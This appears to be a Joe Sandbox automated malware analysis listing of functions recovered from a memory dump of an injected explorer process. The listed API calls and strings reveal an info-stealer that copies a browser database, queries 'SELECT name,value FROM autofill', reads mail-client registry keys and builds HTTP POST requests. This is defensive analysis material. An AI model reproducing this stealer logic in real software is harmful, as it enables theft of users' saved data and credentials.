Function 000C6512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(001220A4,00000001,00000000,0000000A,00113127,000C28DA,00000000,?), ref: 000CBFFC

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 2bdd03f9feea4e02901fdc3fc3d187381d3a9339238f7048150a26f38f3ba999
Instruction ID: 133605fa1fdf14a26a9ee541db0d16855689646c758a655b25552749d386d937
Opcode Fuzzy Hash: 2bdd03f9feea4e02901fdc3fc3d187381d3a9339238f7048150a26f38f3ba999
Instruction Fuzzy Hash: 53E0E53178475076E63077B87C47F9E25855BE0B10F704A6DFA10A91CBDFA781A11026

Function 000C3C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C1B82
Part of subcall function 000C1B6A: CloseHandle.KERNEL32(00000000), ref: 000C1B8F

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 000C3C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 000C3C76
DeleteFileW.KERNEL32(00000000), ref: 000C3C7D
CopyFileW.KERNEL32(?,00000000,00000000), ref: 000C3C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 000C3D2F
lstrlen.KERNEL32(00000000), ref: 000C3D36
wsprintfA.USER32 ref: 000C3D55
lstrlen.KERNEL32(00000000), ref: 000C3D61
lstrcat.KERNEL32(00000000,?), ref: 000C3D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 000C3DB2
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 000C3DED

Strings

%s = %s, xrefs: 000C3D4F
SELECT name,value FROM autofill, xrefs: 000C3CAA
AUTOFILL, xrefs: 000C3DBD, 000C3DC2, 000C3DCC

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: 9fe7b3af864eb22a5069aa5cb1d3fec9ace8dfd2889d23c556998eae091e8bc9
Instruction ID: c2bcd80db5c543a617e39dcba95eaf11e028253eaeca6157dfbb761b291e7096
Opcode Fuzzy Hash: 9fe7b3af864eb22a5069aa5cb1d3fec9ace8dfd2889d23c556998eae091e8bc9
Instruction Fuzzy Hash: 0C418030614341ABD715AB74DC85FBF7AE9AF8A744F00882CF846A7253DB36DD428762

Function 000C1333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

Part of subcall function 000C106C: lstrlen.KERNEL32(003AB176,00000000,00000000,00000000,000C1366,75712B62,003AB176,00000000), ref: 000C1074
Part of subcall function 000C106C: MultiByteToWideChar.KERNEL32(00000000,00000000,003AB176,00000001,00000000,00000000), ref: 000C1086

Part of subcall function 000C12A3: RtlZeroMemory.NTDLL(?,00000018), ref: 000C12B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 000C13C2
wsprintfW.USER32 ref: 000C14B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 000C1594

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 000C14FB
Accept: */*Referer: %S, xrefs: 000C14AF
POST, xrefs: 000C1465

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: f75c3f53a8a409527eaab55de5ea5bf56e7f89f3ed84d96b06d9f90bf4f99658
Instruction ID: 1a514e9f141677b8d8d38dac0240c6b57a8f42db93c0a9cec2361f5d12bb06ef
Opcode Fuzzy Hash: f75c3f53a8a409527eaab55de5ea5bf56e7f89f3ed84d96b06d9f90bf4f99658
Instruction Fuzzy Hash: 4D7155B0608341AFD7549F28DC84EAFBBE9EB89344F10492DF955C3252DB71D9448B92

Function 000CA40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 000CA455
memcpy.NTDLL(?,?,?), ref: 000CA479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 000CA4DB
memset.NTDLL ref: 000CA546

Strings

winRead, xrefs: 000CA515

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 69bd8d8050483ac35828ca10b4e696c3b4e703440bfbec3ff2a071d762c3194d
Instruction ID: ae3c229cc1cd92f986aedc8d904385eedd01eb6e8154fd3d065f857c3eb1b8d8
Opcode Fuzzy Hash: 69bd8d8050483ac35828ca10b4e696c3b4e703440bfbec3ff2a071d762c3194d
Instruction Fuzzy Hash: 0B316872709248ABC794DF58CC85E9F77E6EFC9318F845928F88587211D670EC458B93

Function 000C2E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.SHLWAPI(?,?), ref: 000C2E4B
RegOpenKeyExW.KERNEL32(?,?,00000000,00020119,?), ref: 000C2EE4
RegEnumKeyExW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 000C2F54
RegCloseKey.KERNEL32(?), ref: 000C2F62

Part of subcall function 000C19E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A1E
Part of subcall function 000C19E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A3C
Part of subcall function 000C19E5: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A75
Part of subcall function 000C19E5: RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A98

Part of subcall function 000C1BC5: lstrlenW.KERNEL32(00000000,00000000,?,000C2E75,PathToExe,00000000,00000000), ref: 000C1BCC
Part of subcall function 000C1BC5: StrStrIW.SHLWAPI(00000000,.exe), ref: 000C1BF0
Part of subcall function 000C1BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C), ref: 000C1C05
Part of subcall function 000C1BC5: lstrlenW.KERNEL32(00000000,?,000C2E75,PathToExe,00000000,00000000), ref: 000C1C1C

Part of subcall function 000C1AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 000C1B16

Strings

PathToExe, xrefs: 000C2E5E

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: 3b1411a72cbd69e8bd35b9cd1a5aa96c1a9a2e93368d237d97e67d5290b58f5f
Instruction ID: 26ee18a0ffe83efa59e30f6cb19543e95d49437544527146fba7fe573bb1303b
Opcode Fuzzy Hash: 3b1411a72cbd69e8bd35b9cd1a5aa96c1a9a2e93368d237d97e67d5290b58f5f
Instruction Fuzzy Hash: E2318B31604211AF8B19AF218C15EEF7AEAEFC9350F00852CF85997252EE75CD42DBA1

Function 000C4A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

wsprintfW.USER32 ref: 000C4AA2
RegCreateKeyExW.KERNEL32(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 000C4AC7
RegCloseKey.ADVAPI32(?), ref: 000C4AD4

Strings

%s\%08x, xrefs: 000C4A9C
Software, xrefs: 000C4A95

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: 00f92a919fe58cc2fcee024e23b5a8a25c02dcf311696da2a4ef3e62040a607d
Instruction ID: d5e9b7e6a79eb13147b6ce8ff60bd94faf68ea9827fa1ea85af36e1d1f0cb5ef
Opcode Fuzzy Hash: 00f92a919fe58cc2fcee024e23b5a8a25c02dcf311696da2a4ef3e62040a607d
Instruction Fuzzy Hash: 02014271600008BFDB18CF90DC8AEFF77ACEB45344B10006EF900A3102EBB26E80D661

Function 000C4317 Relevance: 7.6, APIs: 5, Instructions: 64
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alloca_probe.NTDLL ref: 000C431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 000C4335
RegEnumKeyExW.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 000C4363
RegCloseKey.ADVAPI32(?), ref: 000C43C8

Part of subcall function 000C1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
Part of subcall function 000C1953: lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,?), ref: 000C1990
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

Part of subcall function 000C418A: wsprintfW.USER32 ref: 000C4212

Part of subcall function 000C1011: GetProcessHeap.KERNEL32(00000000,00000000,?,000C1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2), ref: 000C1020
Part of subcall function 000C1011: HeapFree.KERNEL32(00000000), ref: 000C1027

RegEnumKeyExW.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 000C43B9

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: e67c078470a900192e25afb11323ca0b6dbc5fdacec239f00ca5753cfcd10387
Instruction ID: 60560412b716ae3b9e27860e48b4edd336cd4f6e1dd72b7b9317e541cc3f2f5f
Opcode Fuzzy Hash: e67c078470a900192e25afb11323ca0b6dbc5fdacec239f00ca5753cfcd10387
Instruction Fuzzy Hash: 4C1182B1104201BFE7199B10CC45EFF77EDFB88344F00862DF889D2151EB759E889A62

Function 000CB87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 000CB8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 000CB96F

Strings

psow, xrefs: 000CBA95
winOpen, xrefs: 000CBA22

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: 947a24c0b705e832bcb66e80d866ba3e2d40e0e4410ba51a9bc00e7d755de889
Instruction ID: b1bc4cd02a3218cecb152b020c0a59bdbdab4f0ce4d5c418b4c02a62c680d3a7
Opcode Fuzzy Hash: 947a24c0b705e832bcb66e80d866ba3e2d40e0e4410ba51a9bc00e7d755de889
Instruction Fuzzy Hash: 6271A271A04705AFC760DF28C882B5EBBE0FF88724F104A2DF9A497291D775D954CB92

Function 000C19E5 Relevance: 6.1, APIs: 4, Instructions: 89
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A1E
RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A3C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A75
RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A98

Part of subcall function 000C1011: GetProcessHeap.KERNEL32(00000000,00000000,?,000C1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2), ref: 000C1020
Part of subcall function 000C1011: HeapFree.KERNEL32(00000000), ref: 000C1027

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: 9436d70d346cafe1e67ebee69c697f253d39a676a69db6c91e8f54c2c14d1aa1
Instruction ID: 4fabfa7a8463360d32696f745825540dc6acb7b390ca864aeb677513e9c86ef9
Opcode Fuzzy Hash: 9436d70d346cafe1e67ebee69c697f253d39a676a69db6c91e8f54c2c14d1aa1
Instruction Fuzzy Hash: 0C21A37220A341AFE7288B21CD04FBFB7E9EFCA754F144A2DF98592152E621CD409722

Function 000C1EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 000C1ED5

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000C1F0C
RegCloseKey.ADVAPI32(?), ref: 000C1F98

Part of subcall function 000C1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
Part of subcall function 000C1953: lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,?), ref: 000C1990
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000C1F82

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: 2826345298574355285d7029a784bd56e530572d793e1daea05b92344c6963a2
Instruction ID: 312801df20b4c6f434773809451dbac0668461fae7b5efeb80e90be44095c6c3
Opcode Fuzzy Hash: 2826345298574355285d7029a784bd56e530572d793e1daea05b92344c6963a2
Instruction Fuzzy Hash: 75215C71208301BFD7099B21DC49EAFBBEDEF8A344F00892DF89992152DB75CD459B62

Function 000C1C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000C1C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,000C3FA8), ref: 000C1C56
CloseHandle.KERNEL32(00000000), ref: 000C1C91

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 000C1C76

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 196ca49efc339e49fbcb80f66674423d1aec03e716a55bf626a369164282273e
Instruction ID: 8869eff0aedb4585e5cfe9fd9f846d2800c3cea474541fe7e1c897e5fe57ff3c
Opcode Fuzzy Hash: 196ca49efc339e49fbcb80f66674423d1aec03e716a55bf626a369164282273e
Instruction Fuzzy Hash: 2FF081312002187BD2241B25DC88FFF7A9CDB477B5F16061DF51592192EB539C458171

Function 000C2EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1011: GetProcessHeap.KERNEL32(00000000,00000000,?,000C1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2), ref: 000C1020
Part of subcall function 000C1011: HeapFree.KERNEL32(00000000), ref: 000C1027

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

RegOpenKeyExW.KERNEL32(?,?,00000000,00020119,?), ref: 000C2EE4
RegEnumKeyExW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 000C2F54
RegCloseKey.KERNEL32(?), ref: 000C2F62

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 7b09e8eb0fed5343c55e24a40b2658fb71e7aa9149e44799a0dc1090d42ace94
Instruction ID: 37da3b80879da37bc67d4af4f669a1a9ad8ecdb0f523aff93c9fd86c8ed134e7
Opcode Fuzzy Hash: 7b09e8eb0fed5343c55e24a40b2658fb71e7aa9149e44799a0dc1090d42ace94
Instruction Fuzzy Hash: 09018631204254ABC7159F21DC05EEF7FA9EFCA390F10442DF85992153DE758985EBA1

Function 000C4B72 Relevance: 4.5, APIs: 3, Instructions: 8comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 000C4B74
OleUninitialize.OLE32 ref: 000C4B83
ExitProcess.KERNEL32 ref: 000C4B8B

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: 93250f317fa30003a126143051c953bb4adabc391b366acc3b35ba3fc31f24b9
Instruction ID: e31af23fe5809eada00f867ee4f4d181e9e93fedf537769018753eb4e94eddb2
Opcode Fuzzy Hash: 93250f317fa30003a126143051c953bb4adabc391b366acc3b35ba3fc31f24b9
Instruction Fuzzy Hash: 5DC04C302851005BE6842BE05E1DB8D3598BB00712F008004F205854A1DB6244808622

Function 000C9FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 000C9FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 000CA00E

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: 1c6f0276cd4ff51f4b56e16dd79262cf8212659a4eaafd5dd586f4daaafb6ded
Instruction ID: e715bdd9b239edc05242f7aebd258c497018237035b896384139ad43ec015729
Opcode Fuzzy Hash: 1c6f0276cd4ff51f4b56e16dd79262cf8212659a4eaafd5dd586f4daaafb6ded
Instruction Fuzzy Hash: 1BF0F672704345BAE7305B94AC8CF6F67DCD795789F20043DF945D3240E2706C428631

Function 000C1AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 000C1B16

Part of subcall function 000C1011: GetProcessHeap.KERNEL32(00000000,00000000,?,000C1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2), ref: 000C1020
Part of subcall function 000C1011: HeapFree.KERNEL32(00000000), ref: 000C1027

Part of subcall function 000C19E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A1E
Part of subcall function 000C19E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A3C
Part of subcall function 000C19E5: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 000C1A75
Part of subcall function 000C19E5: RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,000C1AE2,PortNumber,00000000,00000000), ref: 000C1A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 000C1B40

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: 44cdefc82f74f0496f1b8048a4099373e33a50e793271cd61b873b5270bde947
Instruction ID: ba6ff228695c27fa0e95587fa3488995e2f62e52786e8c68b30e74e3f32379bf
Opcode Fuzzy Hash: 44cdefc82f74f0496f1b8048a4099373e33a50e793271cd61b873b5270bde947
Instruction Fuzzy Hash: 7CF0B43670064827D615AB2ACC84FEF768ECBD33A6316002DF41993243EF23AC915668

Function 000C9EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02730000,00000000,?), ref: 000C9EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 000C9ECD

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: da7f7630cc1bc5861019b0ae3798b5517accf1ea9870ffd5202e7ebeb74858b4
Instruction ID: 75b594978964026cbc1719c2babe4ecb5b8b57bcb69ff72efe4b527b1532c5f2
Opcode Fuzzy Hash: da7f7630cc1bc5861019b0ae3798b5517accf1ea9870ffd5202e7ebeb74858b4
Instruction Fuzzy Hash: 1AE0CD376041107BC12257446C05F5F7764DBA4F10F010019F90453651C3309C5287A1

Function 000C1B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C1B82
CloseHandle.KERNEL32(00000000), ref: 000C1B8F

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: fb83b2a1d5a581adf8663e9681af5fe925a263dbb17b22ca4c3dc420efa1d5a3
Instruction ID: 54c4544992f8f1923c99968fc4dc665176b3479511f2df21b352beb30d5b6e3c
Opcode Fuzzy Hash: fb83b2a1d5a581adf8663e9681af5fe925a263dbb17b22ca4c3dc420efa1d5a3
Instruction Fuzzy Hash: E8D0C771203230A2E5B923353D0CFEB2E6CDF03AB1F054618B60CD44D0E3218D8386E0

Function 000C9EE8 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(02730000,00000000,?), ref: 000C9EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 000C9F0E

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: e6cf1ab3cadd53c12baf4be0df7fa84b55b2fd0425e933efba08a857e19a390b
Instruction ID: f2441149ca70ee939b8fe1d96a8109030f2138eee9c13a8f6c809ff235a10f20
Opcode Fuzzy Hash: e6cf1ab3cadd53c12baf4be0df7fa84b55b2fd0425e933efba08a857e19a390b
Instruction Fuzzy Hash: CFD01276508241BBD6119B54AC45F2F77B9ABA5B00F44042CF104964A6D37554A3AB71

Function 000C12A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 000C12B5

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: 86b6d5fe5fb10f6ab2bd76b1a30088a970d9e36d2d68ea2653425e6a49665cd2
Instruction ID: 7d68ba4ea28ba266cf2c5d120ee712bc90d8f352e3f6c553bbf1d70295c067c7
Opcode Fuzzy Hash: 86b6d5fe5fb10f6ab2bd76b1a30088a970d9e36d2d68ea2653425e6a49665cd2
Instruction Fuzzy Hash: 7511E3B5A01209AFDB24DFA9E984EEEB7FCEB49341B104029F945E6241D7319A40CB60

Function 000C1677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 000C1684

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 01aba32b51baa4027fc70d4f0020f550da9d05b624074335d5003e592ed6c4e6
Instruction ID: 05cf46aa160d6539f5a83fde185778d3e14ae09a92089202867549f6638f93f9
Opcode Fuzzy Hash: 01aba32b51baa4027fc70d4f0020f550da9d05b624074335d5003e592ed6c4e6
Instruction Fuzzy Hash: DAC012301202219EE7601B209D09BCA36D8AF1A7A2F060929A081990C0E2F508C08A90

